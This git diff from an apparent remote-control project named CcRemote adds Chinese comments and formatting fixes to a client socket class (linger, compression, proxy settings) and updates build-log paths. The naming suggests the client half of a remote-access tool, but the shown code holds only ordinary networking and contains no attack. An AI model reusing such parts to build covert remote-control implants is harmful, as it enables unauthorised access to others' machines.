//如果我们要终止连接,请设置linger值 + LINGER lingerStruct; + lingerStruct.l_onoff = 1; + lingerStruct.l_linger = 0; + /*设置套接选项 + setsockopt( + int socket, // 参数socket是套接字描述符 + int level, // 第二个参数level是被设置的选项的级别,如果想要在套接字级别上设置选项,就必须把level设置为 SOL_SOCKET + int option_name, // option_name指定准备设置的选项,这取决于level + // SO_LINGER,如果选择此选项, close或 shutdown将等到所有套接字里排队的消息成功发送或到达延迟时间后才会返回. 否则, 调用将立即返回。 + 该选项的参数(option_value)是一个linger结构: + struct linger { + int l_onoff; + int l_linger; + }; + 如果linger.l_onoff值为0(关闭),则清 sock->sk->sk_flag中的SOCK_LINGER位;否则,置该位,并赋sk->sk_lingertime值为 linger.l_linger。 + const void *option_value, //LINGER结构 + size_t ption_len //LINGER大小 + ); + */ + setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct)); - CancelIo((HANDLE) m_Socket); + //取消由调用线程为指定文件发出的所有未决输入和输出(I / O)操作。该功能不会取消其他线程为文件句柄发出的I / O操作。 + CancelIo((HANDLE)m_Socket); + //原子操作 InterlockedExchange((LPLONG)&m_bIsRunning, false); closesocket(m_Socket); - - SetEvent(m_hEvent); - + // 设置事件的状态为有标记,释放任意等待线程。 + SetEvent(m_hEvent); + //INVALID_SOCKET不是有效的套接字 m_Socket = INVALID_SOCKET; } -int CClientSocket::Send( LPBYTE lpData, UINT nSize ) +int CClientSocket::Send(LPBYTE lpData, UINT nSize) { m_WriteBuffer.ClearBuffer(); @@ -398,39 +420,39 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize ) if (nSize > 0) { // Compress data - unsigned long destLen = (double)nSize * 1.001 + 12; + unsigned long destLen = (double)nSize * 1.001 + 12; LPBYTE pDest = new BYTE[destLen]; if (pDest == NULL) return 0; int nRet = compress(pDest, &destLen, lpData, nSize); - + if (nRet != Z_OK) { - delete [] pDest; + delete[] pDest; return -1; } - + ////////////////////////////////////////////////////////////////////////// LONG nBufLen = destLen + HDR_SIZE; // 5 bytes packet flag m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 4 byte header [Size of Entire Packet] - m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen)); + m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen)); // 4 byte header [Size of UnCompress Entire Packet] - m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize)); + m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize)); // Write Data m_WriteBuffer.Write(pDest, destLen); - delete [] pDest; - + delete[] pDest; + // 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入 LPBYTE lpResendWriteBuffer = new BYTE[nSize]; CopyMemory(lpResendWriteBuffer, lpData, nSize); m_ResendWriteBuffer.ClearBuffer(); m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据 if (lpResendWriteBuffer) - delete [] lpResendWriteBuffer; + delete[] lpResendWriteBuffer; } else // 要求重发, 只发送FLAG { @@ -463,7 +485,7 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize) } if (i == nSendRetry) return -1; - + nSend += nRet; pbuf += nSplitSize; Sleep(10); // 必要的Sleep,过快会引起控制端数据混乱 @@ -487,13 +509,13 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize) return SOCKET_ERROR; } -void CClientSocket::setManagerCallBack( CManager *pManager ) +void CClientSocket::setManagerCallBack(CManager *pManager) { m_pManager = pManager; } -void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/, - UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/ ) +void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/, + UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/) { memset(m_strProxyHost, 0, sizeof(m_strProxyHost)); memset(m_strUserName, 0, sizeof(m_strUserName)); @@ -509,4 +531,3 @@ void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTS if (m_strPassWord != NULL) lstrcpy(m_strPassWord, lpszPassWord); } - \ No newline at end of file diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index 389d3a0..5664370 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1,19 +1,17 @@ -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj -g:\ccremote\ccremote\ccmaindll\debug\ccmaindll.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj +f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk +f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll +f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 4ef38b0..4cb6006 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -1,23 +1,22 @@ 锘 pch.cpp ClientSocket.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 Buffer.cpp until.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 姝e湪鐢熸垚浠g爜... dllmain.cpp -LINK : warning LNK4098: 榛樿搴撯淟IBCMT鈥濅笌鍏朵粬搴撶殑浣跨敤鍐茬獊锛涜浣跨敤 /NODEFAULTLIB:library - CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\CcMainDll.dll + CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate index 03e57a1..bd1e4f2 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| +Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log index 103d301..8608f75 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log @@ -1,13 +1,18 @@ -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog +f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb +f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch +f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj +f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll +f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index cc38bfb..7e60944 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -1,27 +1,24 @@ 锘 pch.cpp ClientSocket.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 Buffer.cpp until.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 dllmain.cpp -LINK : warning LNK4098: 榛樿搴撯淟IBCMT鈥濅笌鍏朵粬搴撶殑浣跨敤鍐茬獊锛涜浣跨敤 /NODEFAULTLIB:library 姝e湪鐢熸垚浠g爜 - 0 of 6 functions ( 0.0%) were compiled, the rest were copied from previous compilation. - 0 functions were new in current compilation - 0 functions had inline decision re-evaluated but remain unchanged + All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 宸插畬鎴愪唬鐮佺殑鐢熸垚 - CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll + CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate index fd0ad53..3f4a20c 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|G:\CcRemote\CcRemote\CcMainDll\| +Release|Win32|F:\myapp\CcRemote\CcMainDll\|